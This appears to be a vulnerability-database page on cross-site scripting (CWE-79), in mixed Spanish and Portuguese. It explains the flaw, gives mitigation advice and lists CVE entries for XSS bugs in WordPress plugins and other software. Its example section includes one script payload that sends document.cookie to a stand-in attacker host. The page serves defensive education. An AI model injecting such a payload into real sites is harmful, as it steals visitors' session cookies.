Fallos del tipo CWE-79

29.882 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-39525MEDIUMWordPress Logo Carousel Slider plugin <= 2.1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-31476MEDIUMtarteaucitron.js allows url scheme injection via unfiltered inputsEPSS 0.4%CVE-2024-30437MEDIUMWordPress Webinar and Video Conference with Jitsi Meet plugin <= 2.6.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-39520MEDIUMWordPress Checkout Files Upload for WooCommerce plugin <= 2.2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-21627MEDIUMGLPI Cross-site Scripting vulnerabilityEPSS 0.4%CVE-2025-4669MEDIUMBooking Calendar <= 10.11.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpbc ShortcodeEPSS 0.4%CVE-2026-30934HIGHFileBrowser Quantum: Stored XSS in public share page via unsanitized share metadata (text/template misuse)EPSS 0.4%CVE-2025-39516MEDIUMWordPress Author WIP Progress Bar plugin <= 1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2023-50880MEDIUMWordPress BuddyPress Plugin <= 11.3.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-15283HIGHName Directory <= 1.30.3 - Unauthenticated Stored Cross-Site Scripting via Multiple ParametersEPSS 0.4%CVE-2025-4670MEDIUMEasy Digital Downloads <= 3.3.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via edd_receipt ShortcodeEPSS 0.4%CVE-2025-54817MEDIUMA reflected cross-site scripting (xss) vulnerability exists in the autoPurge functionality of MedDream PACS Premium 7.3.6.870. A specially cEPSS 0.4%CVE-2024-35345MEDIUMA vulnerability has been discovered in Diño Physics School Assistant version 2.3. The vulnerability impacts unidentified code within the filEPSS 0.4%CVE-2024-29764MEDIUMWordPress Molongui plugin <= 4.7.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-39555MEDIUMWordPress Church Admin plugin <= 5.0.23 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-29789MEDIUMWordPress OneClick Chat to Order plugin <= 1.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-13013MEDIUMPHPGurukul Maid Hiring Management System Contact Us Page contactus.php cross site scriptingEPSS 0.4%CVE-2024-30450MEDIUMWordPress OpenStreetMap for Gutenberg and WPBakery Page Builder plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-41364MEDIUMStored Cross-Site Scripting (XSS) vulnerability in IDF and ZLFEPSS 0.4%CVE-2025-23362MEDIUMThe old versions of EXIF Viewer Classic contain a cross-site scripting vulnerability caused by improper handling of EXIF meta data. When an EPSS 0.4%